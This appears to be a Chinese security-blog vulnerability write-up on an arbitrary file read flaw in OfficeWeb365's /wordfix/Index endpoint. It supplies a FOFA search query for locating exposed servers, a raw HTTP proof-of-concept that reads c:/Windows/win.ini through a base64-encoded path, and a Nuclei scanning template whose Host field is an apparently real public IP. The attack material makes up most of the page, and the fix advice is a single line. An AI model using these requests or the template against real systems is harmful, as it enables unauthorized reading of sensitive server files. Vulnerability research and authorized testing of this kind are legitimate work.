当前位置: 首页 > article >正文

OfficeWeb365 Readfile 任意文件读取漏洞

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

OfficeWeb365 是专注于 Office 文档在线预览及PDF文档在线预览云服务,包括 Microsoft Word 文档在线预览、Excel 表格在线预览、Powerpoint 演示文档在线预览,WPS 文字处理、WPS 表格、WPS 演示及 Adobe PDF 文档在线预览。

OfficeWeb365 Readfile 接口处存在任意文件读取漏洞,攻击者可通过此漏洞对payload进行base64编码,读取任意文件,获取服务器敏感信息,使系统处于极不安全的状态。

Ⅱ、fofa语句

body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"

Ⅲ、漏洞复现

POC

YzovV2luZG93cy93aW4uaW5p  base64解码 c:/Windows/win.ini
GET /wordfix/Index?f=YzovV2luZG93cy93aW4uaW5p HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

1、构建poc

2、访问

http://127.0.0.1/wordfix/Index?f=YzovV2luZG93cy93aW4uaW5p

 

Ⅳ、Nuclei-POC

id: OfficeWeb365-Readfile

info:
  name: OfficeWeb365 Readfile 接口处存在任意文件读取漏洞,攻击者可通过此漏洞对payload进行base64编码,读取任意文件,获取服务器敏感信息,使系统处于极不安全的状态。
  author: WLF
  severity: high
  description: 456
  metadata:
    fofa-query: body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
requests:
  - raw:
      - |
        GET /wordfix/Index?f=YzovV2luZG93cy93aW4uaW5p HTTP/1.1
        Host: 47.98.218.124:8888
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - status_code == 200 && contains(body, "<!DOCTYPE html>")

Ⅴ、修复建议

升级至安全版本


http://www.kler.cn/a/228932.html

相关文章:

  • 2025.1.15——四、布尔注入
  • PDF文件提取开源工具调研总结
  • 爬虫基础学习
  • 使用docker-compose安装ELK(elasticsearch,logstash,kibana)并简单使用
  • 梁山派入门指南4——定时器使用详解,包括定时器中断、PWM产生、输入捕获测量频率
  • 网管平台(进阶篇):路由器的管理实践
  • 基于SpringBoot的后端导出Excel文件
  • Centos7配置登录失败处理导致root被锁定处理办法
  • 【axios报错异常】: Uncaught ReferenceError: axios is not defined
  • MySQL进阶45讲【10】MySQL为什么有时候会选错索引?
  • Linux Shell编程系列--开篇
  • c语言之三目运算符
  • 二叉树-堆应用(1)
  • 编程笔记 html5cssjs 074 Javascript 运算符
  • 前端工程化之:webpack2-1(常用扩展)
  • C++泛编程(4)
  • 免交互 、 字符处理与高级变量
  • JavaWeb之HTML-CSS --黑马笔记
  • 【node】Node.js的常用内置模块:
  • shell中正则表达式
  • 爬虫(二)
  • CGAL-3D 凸包算法
  • Three.js学习6:透视相机和正交相机
  • 【机器学习】基于集成学习的 Amazon 用户评论质量预测
  • 如何使用MCSM搭建我的世界Java版服务器并实现远程联机游戏
  • 离线使用Element UI和Vue